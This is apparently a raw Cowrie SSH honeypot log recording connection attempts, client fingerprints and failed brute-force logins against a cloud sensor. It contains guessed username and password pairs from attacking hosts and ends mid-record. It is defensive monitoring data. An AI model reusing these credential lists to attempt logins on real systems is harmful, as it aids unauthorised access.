{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52024,"dst_ip":"159.203.135.109","dst_port":22,"session":"60009206b26c","protocol":"ssh","message":"New connection: 103.77.242.62:52024 (159.203.135.109:22) [session: 60009206b26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:48.881353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:48.885714Z","src_ip":"103.77.242.62","session":"60009206b26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:48.943975Z","src_ip":"107.150.105.153","session":"8f0cb4895031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:49.122675Z","src_ip":"103.77.242.62","session":"60009206b26c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234$","message":"login attempt [root/Abcd1234$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:49.224774Z","src_ip":"107.150.105.153","session":"8f0cb4895031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050386","message":"login attempt [root/050386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:49.838167Z","src_ip":"103.77.242.62","session":"60009206b26c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:50.302080Z","src_ip":"107.150.105.153","session":"8f0cb4895031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:57:51.078265Z","src_ip":"103.77.242.62","session":"60009206b26c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":31310,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f1b6bf00ece","protocol":"ssh","message":"New connection: 147.45.199.80:31310 (159.203.135.109:22) [session: 2f1b6bf00ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:05.297785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:05.300879Z","src_ip":"147.45.199.80","session":"2f1b6bf00ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:05.397557Z","src_ip":"147.45.199.80","session":"2f1b6bf00ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"papa12345","message":"login attempt [root/papa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:05.691604Z","src_ip":"147.45.199.80","session":"2f1b6bf00ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:06.791907Z","src_ip":"147.45.199.80","session":"2f1b6bf00ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45308,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbd9445b7b16","protocol":"ssh","message":"New connection: 103.15.222.183:45308 (10.17.0.5:22) [session: bbd9445b7b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:16.803836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:16.807330Z","src_ip":"103.15.222.183","session":"bbd9445b7b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:17.043695Z","src_ip":"103.15.222.183","session":"bbd9445b7b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020293","message":"login attempt [root/020293] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:17.749874Z","src_ip":"103.15.222.183","session":"bbd9445b7b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:18.988513Z","src_ip":"103.15.222.183","session":"bbd9445b7b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":45772,"dst_ip":"10.17.0.5","dst_port":22,"session":"e66b57a23446","protocol":"ssh","message":"New connection: 61.72.55.130:45772 (10.17.0.5:22) [session: e66b57a23446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:31.127420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:31.131291Z","src_ip":"61.72.55.130","session":"e66b57a23446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:31.335413Z","src_ip":"61.72.55.130","session":"e66b57a23446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123aA@","message":"login attempt [root/123123aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:32.184635Z","src_ip":"61.72.55.130","session":"e66b57a23446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:33.391676Z","src_ip":"61.72.55.130","session":"e66b57a23446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":45270,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a1cfda73a94","protocol":"ssh","message":"New connection: 192.169.202.129:45270 (10.17.0.5:22) [session: 0a1cfda73a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:53.846526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:53.850588Z","src_ip":"192.169.202.129","session":"0a1cfda73a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:53.917968Z","src_ip":"192.169.202.129","session":"0a1cfda73a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitstamp","password":"bitstamp123","message":"login attempt [bitstamp/bitstamp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:54.114373Z","src_ip":"192.169.202.129","session":"0a1cfda73a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:58:55.182533Z","src_ip":"192.169.202.129","session":"0a1cfda73a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37944,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ec1428af601","protocol":"ssh","message":"New connection: 103.176.20.57:37944 (159.203.135.109:22) [session: 5ec1428af601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:26.045098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:26.049418Z","src_ip":"103.176.20.57","session":"5ec1428af601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:26.292332Z","src_ip":"103.176.20.57","session":"5ec1428af601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":47916,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a80097ea96","protocol":"ssh","message":"New connection: 43.134.49.202:47916 (10.17.0.5:22) [session: 62a80097ea96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:26.502676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:26.506636Z","src_ip":"43.134.49.202","session":"62a80097ea96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:26.750006Z","src_ip":"43.134.49.202","session":"62a80097ea96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31011982","message":"login attempt [root/31011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:27.022882Z","src_ip":"103.176.20.57","session":"5ec1428af601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"vps123","message":"login attempt [vps/vps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:27.759725Z","src_ip":"43.134.49.202","session":"62a80097ea96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:28.270157Z","src_ip":"103.176.20.57","session":"5ec1428af601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:29.006645Z","src_ip":"43.134.49.202","session":"62a80097ea96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7fa853e472a","protocol":"ssh","message":"New connection: 107.150.105.153:52854 (159.203.135.109:22) [session: c7fa853e472a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:38.093082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:59:38.101071Z","src_ip":"107.150.105.153","session":"c7fa853e472a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 